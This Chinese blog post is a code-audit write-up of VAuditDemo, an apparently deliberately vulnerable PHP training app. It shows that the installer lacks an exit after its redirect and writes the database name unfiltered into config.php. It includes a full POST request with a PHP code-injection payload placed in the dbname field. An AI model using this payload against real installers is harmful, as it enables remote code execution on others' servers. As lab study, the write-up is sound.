Vauditdemo reloading vulnerability recurrence

  1. 前言
  2. 正文
  3. 小实验
  4. 小结

前言

晚上刚回到家,发现不值得老哥发了篇文章给我。我赶紧打开看了一看,叮代码审计+复现,[滑稽]
剩下自己脑补发生的事情。附上不值得老哥的文章:vauditdemo重装漏洞 复现 | 只因不值得
18bc0c10-58ea-136a-9bb8-775436fcc920.jpg

正文

首先先看主文件,index.php

<?php 
require_once('sys/config.php'); /*引用sys/config.php*/
require_once('header.php'); /*引用header.php*/
?>
<div class="row">
    <?php
    /* Include */
    if (isset($_GET['module'])){
        include($_GET['module'].'.inc');
    }else{
    ?>
    <div class="jumbotron" style="text-align: center;">
        <h1><b>VAuditDemo</b></h1>
        <p>一个简单的Web漏洞演练平台</p><br />
    </div>
    <div class="col-lg-12">
        <h2>用於演示講解PHP基本漏洞</h2>
        <p></p>
    </div>
    <?php
    }
    ?>
</div>

<?php
require_once('footer.php');
?>

发现开头就引用了config.php和header.php二话不说,跟过去看看,header.php没什么东西看install.php

<?php

if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) { /*判断是否有/sys/install.lock这个文件*/
    header( "Location: ../index.php" ); /*关键问题出在这里,跳转到index.php之后没有及时退出,导致下面的代码还能继续运行*/
}
require_once '../header.php';

function check_writeable( $file ) {
    if ( file_exists( $file ) ) {
        if ( is_dir( $file ) ) {
            $dir = $file;
            if ( $fp = @fopen( "$dir/test.txt", 'w' ) ) {
                @fclose( $fp );
                @unlink( "$dir/test.txt" );
                $writeable = 1;
            }
            else {
                $writeable = 0;
            }
        }
        else {
            if ( $fp = @fopen( $file, 'a+' ) ) {
                @fclose( $fp );
                $writeable = 1;
            }
            else {
                $writeable = 0;
            }
        }
    }
    else {
        $writeable = 2;
    }
    return $writeable;
}

$sys_info['mysql_ver']     = extension_loaded( 'mysql' ) ? 'OK' : 'NO';
$sys_info['zlib']          = function_exists( 'gzclose' ) ? 'OK' : 'NO';
$sys_info['gd']            = extension_loaded( "gd" ) ? 'OK' : 'NO';
$sys_info['socket']        = function_exists( 'fsockopen' ) ? 'OK' : 'NO';
$sys_info['curl_init']        = function_exists( 'curl_init' ) ? 'OK' : 'NO';

echo '<div id="ourhp_er">';
echo '<h1>系統環境</h1>';
echo '<p>服務器操作系統:&nbsp;....................................................................&nbsp;'.PHP_OS.'</p>';
echo '<p>Web 服務器:&nbsp;....................................................&nbsp;'.$_SERVER['SERVER_SOFTWARE'].'</p>';
echo '<p>PHP 版本:&nbsp;....................................................................&nbsp;'.PHP_VERSION.'</p>';
echo '<p>MySQL 版本:&nbsp;....................................................................&nbsp;'.$sys_info['mysql_ver'].'</p>';
echo '<p>Zlib 支持:&nbsp;....................................................................&nbsp;'.$sys_info['zlib'].'</p>';
echo '<p>GD2 支持:&nbsp;....................................................................&nbsp;'.$sys_info['gd'].'</p>';
echo '<p>Socket 支持:&nbsp;....................................................................&nbsp;'.$sys_info['socket'].'</p>';
echo '<p>curl 支持:&nbsp;....................................................................&nbsp;'.$sys_info['curl_init'].'</p>';
echo '<h1>目錄權限</h1>';

/* 检查目录 */
$check_dirs = array (
    '../sys',
    '../uploads'
);

$i = 0;
foreach ( $check_dirs as $dir ) {
    $full_dir = $dir;
    $check_writeable = check_writeable( $full_dir );
    if ( $check_writeable == '1' ) {
        echo "<p>".$check_dirs[$i]."&nbsp;...................................................................&nbsp;<font color='#00CC33'>可寫</font></p>";
    }
    elseif ( $check_writeable == '0' ) {
        echo "<p>".$check_dirs[$i]."&nbsp;...................................................................&nbsp;<font color='#ff0000'>不可寫</font></p>";
        $no_write = true;
    }
    elseif ( $check_writeable == '2' ) {
        echo "<p>".$check_dirs[$i]."&nbsp;...................................................................&nbsp;<b>不存在</b></p>";
        $no_write = true;
    }
    $i = $i + 1;
}

if ( $sys_info['gd'] == 'NO' || $sys_info['curl_init'] == 'NO' ) {
    exit( '組建不支持,無法安裝使用!' );
}else if ( $check_writeable == '0' || $check_writeable == '2' ) {
    exit( '關鍵目錄不可寫,無法安裝使用!' );
}

if ( $_POST ) {

    if ( $_POST["dbhost"] == "" ) {
        exit( '数据库连接地址不能为空' );
    }elseif ( $_POST["dbuser"] == "" ) {
        exit( '数据库数据库登录名' );
    }elseif ( $_POST["dbname"] == "" ) {
        exit( '请先创建数据库名称' );
    }

    $dbhost = $_POST["dbhost"];
    $dbuser = $_POST["dbuser"];
    $dbpass = $_POST["dbpass"];
    $dbname = $_POST["dbname"];

    $con = mysql_connect( $dbhost, $dbuser, $dbpass );
    if ( !$con ) {
        die( '数据库链接出错,请检查账号密码及地址是否正确: ' . mysql_error() );
    }

    $result = mysql_query('show databases;') or die ( mysql_error() );;
    While($row = mysql_fetch_assoc($result)){       
        $data[] = $row['Database'];
    }
    unset($result, $row);
    if (in_array(strtolower($dbname), $data)){
        mysql_close();
        echo "<script>if(!alert('數據庫已存在')){window.history.back(-1);}</script>";
        exit();
    }

    mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );

    $str_tmp="<?php\r\n";
    $str_end="?>";
    $str_tmp.="\r\n";
    $str_tmp.="error_reporting(0);\r\n";
    $str_tmp.="\r\n";
    $str_tmp.="if (!file_exists(\$_SERVER[\"DOCUMENT_ROOT\"].'/sys/install.lock')){\r\n\theader(\"Location: /install/install.php\");\r\nexit;\r\n}\r\n";
    $str_tmp.="\r\n";
    $str_tmp.="include_once('../sys/lib.php');\r\n";
    $str_tmp.="\r\n";
    $str_tmp.="\$host=\"$dbhost\"; \r\n";
    $str_tmp.="\$username=\"$dbuser\"; \r\n";
    $str_tmp.="\$password=\"$dbpass\"; \r\n";
    $str_tmp.="\$database=\"$dbname\"; \r\n";
    $str_tmp.="\r\n";
    $str_tmp.="\$conn = mysql_connect(\$host,\$username,\$password);\r\n";
    $str_tmp.="mysql_query('set names utf8',\$conn);\r\n";
    $str_tmp.="mysql_select_db(\$database, \$conn) or die(mysql_error());\r\n";
    $str_tmp.="if (!\$conn)\r\n";
    $str_tmp.="{\r\n";
    $str_tmp.="\tdie('Could not connect: ' . mysql_error());\r\n";
    $str_tmp.="\texit;\r\n";
    $str_tmp.="}\r\n";
    $str_tmp.="\r\n";
    $str_tmp.="session_start();\r\n";
    $str_tmp.="\r\n";
    $str_tmp.=$str_end;

    $fp=fopen( "../sys/config.php", "w" );
    fwrite( $fp, $str_tmp );
    fclose( $fp );

    //创建表
    mysql_select_db( $dbname, $con );
    mysql_query( "set names 'utf8'", $con );
    //导入数据库
    $sql=file_get_contents( "install.sql" );
    $a=explode( ";", $sql );
    foreach ( $a as $b ) {
        mysql_query( $b.";" );
    }
    mysql_close( $con );
    file_put_contents($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock', 'virink');
    echo "<script>if(!alert('安裝成功')){window.location.href='../index.php';}</script>";
    exit;
}else {
    echo "<form id='form1' name='form1' method='post' action=''>";
    echo "<table width='100%' border='0' align='center' cellpadding='10' id='table'>";
    echo "<tr>";
    echo "<td colspan='2'><h1></h1></td>";
    echo "</tr>";
    echo "<tr>";
    echo "<td><div align='right'>數據庫连接地址:</div></td>";
    echo "<td><input name='dbhost' type='text' id='input' value='localhost'/> *</td>";
    echo "</tr>";
    echo "<tr>";
    echo "<td><div align='right'>數據庫登錄名:</div></td>";
    echo "<td><input name='dbuser' type='text' id='input' value='root'/> *</td>";
    echo "</tr>";
    echo "<tr>";
    echo "<td><div align='right'>數據庫登錄密碼:</div></td>";
    echo "<td><input name='dbpass' type='password' id='input' value='root'/> *</td>";
    echo "</tr>";
    echo "<tr>";
    echo "<td><div align='right'>創建數據庫名稱:</div></td>";
    echo "<td><input name='dbname' type='text' id='input' value='vauditdemo'/> *</td> ";
    echo "</tr>";
    echo "<tr>";
    echo "<td></td>";
    echo "<td><input type='submit' class='btn' name='Submit' value='安裝' /></td>";
    echo "</tr>";
    echo "</table>";
    echo "</form>";
}
?>


<?php
require_once '../footer.php';
?>

关键问题

if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) { /*判断是否有/sys/install.lock这个文件*/
    header( "Location: ../index.php" ); /*关键问题出在这里,跳转到index.php之后没有及时退出,导致下面的代码还能继续运行*/
}

然后下面也没用过滤请求变量的操作,直接写入数据库了

    $dbhost = $_POST["dbhost"];
    $dbuser = $_POST["dbuser"];
    $dbpass = $_POST["dbpass"];
    $dbname = $_POST["dbname"];

    $con = mysql_connect( $dbhost, $dbuser, $dbpass );
    if ( !$con ) {
        die( '数据库链接出错,请检查账号密码及地址是否正确: ' . mysql_error() );
    }

    $result = mysql_query('show databases;') or die ( mysql_error() );; /*直接进行了写入*/
    While($row = mysql_fetch_assoc($result)){       
        $data[] = $row['Database'];
    }
    unset($result, $row);
    if (in_array(strtolower($dbname), $data)){
        mysql_close();
        echo "<script>if(!alert('數據庫已存在')){window.history.back(-1);}</script>";
        exit();
    }

    mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );

    $str_tmp="<?php\r\n";
    $str_end="?>";
    $str_tmp.="\r\n";
    $str_tmp.="error_reporting(0);\r\n";
    $str_tmp.="\r\n";
    $str_tmp.="if (!file_exists(\$_SERVER[\"DOCUMENT_ROOT\"].'/sys/install.lock')){\r\n\theader(\"Location: /install/install.php\");\r\nexit;\r\n}\r\n";
    $str_tmp.="\r\n";
    $str_tmp.="include_once('../sys/lib.php');\r\n";
    $str_tmp.="\r\n";
    $str_tmp.="\$host=\"$dbhost\"; \r\n";
    $str_tmp.="\$username=\"$dbuser\"; \r\n";
    $str_tmp.="\$password=\"$dbpass\"; \r\n";
    $str_tmp.="\$database=\"$dbname\"; \r\n"; /*这里就是关键2*/
    $str_tmp.="\r\n";
    $str_tmp.="\$conn = mysql_connect(\$host,\$username,\$password);\r\n";
    $str_tmp.="mysql_query('set names utf8',\$conn);\r\n";
    $str_tmp.="mysql_select_db(\$database, \$conn) or die(mysql_error());\r\n";
    $str_tmp.="if (!\$conn)\r\n";
    $str_tmp.="{\r\n";
    $str_tmp.="\tdie('Could not connect: ' . mysql_error());\r\n";
    $str_tmp.="\texit;\r\n";
    $str_tmp.="}\r\n";
    $str_tmp.="\r\n";
    $str_tmp.="session_start();\r\n";
    $str_tmp.="\r\n";
    $str_tmp.=$str_end;

    $fp=fopen( "../sys/config.php", "w" ); /*写入了config.php*/
    fwrite( $fp, $str_tmp );
    fclose( $fp );

    //创建表
    mysql_select_db( $dbname, $con );
    mysql_query( "set names 'utf8'", $con );
    //导入数据库
    $sql=file_get_contents( "install.sql" );
    $a=explode( ";", $sql );
    foreach ( $a as $b ) {
        mysql_query( $b.";" );
    }
    mysql_close( $con );
    file_put_contents($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock', 'virink');
    echo "<script>if(!alert('安裝成功')){window.location.href='../index.php';}</script>";
    exit;
}else {
    echo "<form id='form1' name='form1' method='post' action=''>";
    echo "<table width='100%' border='0' align='center' cellpadding='10' id='table'>";
    echo "<tr>";
    echo "<td colspan='2'><h1></h1></td>";
    echo "</tr>";
    echo "<tr>";
    echo "<td><div align='right'>數據庫连接地址:</div></td>";
    echo "<td><input name='dbhost' type='text' id='input' value='localhost'/> *</td>";
    echo "</tr>";
    echo "<tr>";
    echo "<td><div align='right'>數據庫登錄名:</div></td>";
    echo "<td><input name='dbuser' type='text' id='input' value='root'/> *</td>";
    echo "</tr>";
    echo "<tr>";
    echo "<td><div align='right'>數據庫登錄密碼:</div></td>";
    echo "<td><input name='dbpass' type='password' id='input' value='root'/> *</td>";
    echo "</tr>";
    echo "<tr>";
    echo "<td><div align='right'>創建數據庫名稱:</div></td>";
    echo "<td><input name='dbname' type='text' id='input' value='vauditdemo'/> *</td> ";
    echo "</tr>";
    echo "<tr>";
    echo "<td></td>";
    echo "<td><input type='submit' class='btn' name='Submit' value='安裝' /></td>";
    echo "</tr>";
    echo "</table>";
    echo "</form>";
}
?>

然后在看config.php

<?php

error_reporting(0);

if (!file_exists($_SERVER["DOCUMENT_ROOT"] . '/sys/install.lock')) {
    header("Location: /install/install.php");
    exit;
}

include_once '../sys/lib.php';

$host = "localhost";
$username = "root";
$password = "root";
$database = "vauditdemo"; /*由于install.php写入到config.php,可以构造一个这样的payload,exp;-- -";phpinfo();既能保证mysql的正常查询也能插入payload*/

$conn = mysql_connect($host, $username, $password);
mysql_query('set names utf8', $conn);
mysql_select_db($database, $conn) or die(mysql_error());
if (!$conn) {
    die('Could not connect: ' . mysql_error());
    exit;
}

session_start();

?>

payload数据包:

POST /install/install.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 97
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://127.0.0.1/VAuditDemo-master/VAuditDemo_Debug/install/install.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=cob9q8vcbat4tm3a5f8nqoa2p1
Connection: close

dbhost=localhost&dbuser=root&dbpass=root&dbname="nmgcb;-- -";phpinfo();//&Submit=%E5%AE%89%E8%A3%9D

结果:
kPM3gH.png

kPQnMj.png

小实验

一开始,我在跳转那里发懵了半天。后面自己demo了一下懂了

<?php
if(file_exists('haq520.txt')){
    header("Location: ../demo3.php");
}
$username=$_GET['u'];
$fk=fopen("haq520.txt","a");
$txt=$username;
fwrite($fk,$txt);
fclose($fk);
?>

然后请求为

http://127.0.0.1/demo7.php?u=此生不是你,终身不娶

kPQGJU.png

小结

有些不懂的地方多多实验或者写个差不多的例子可以明白的快一点

转载请声明:转自422926799.github.io


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:Vauditdemo reloading vulnerability recurrence

本文作者:九世

发布时间:2019-01-20, 22:15:12

最后更新:2019-04-19, 20:36:16

原始链接:http://422926799.github.io/posts/70e2f438.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录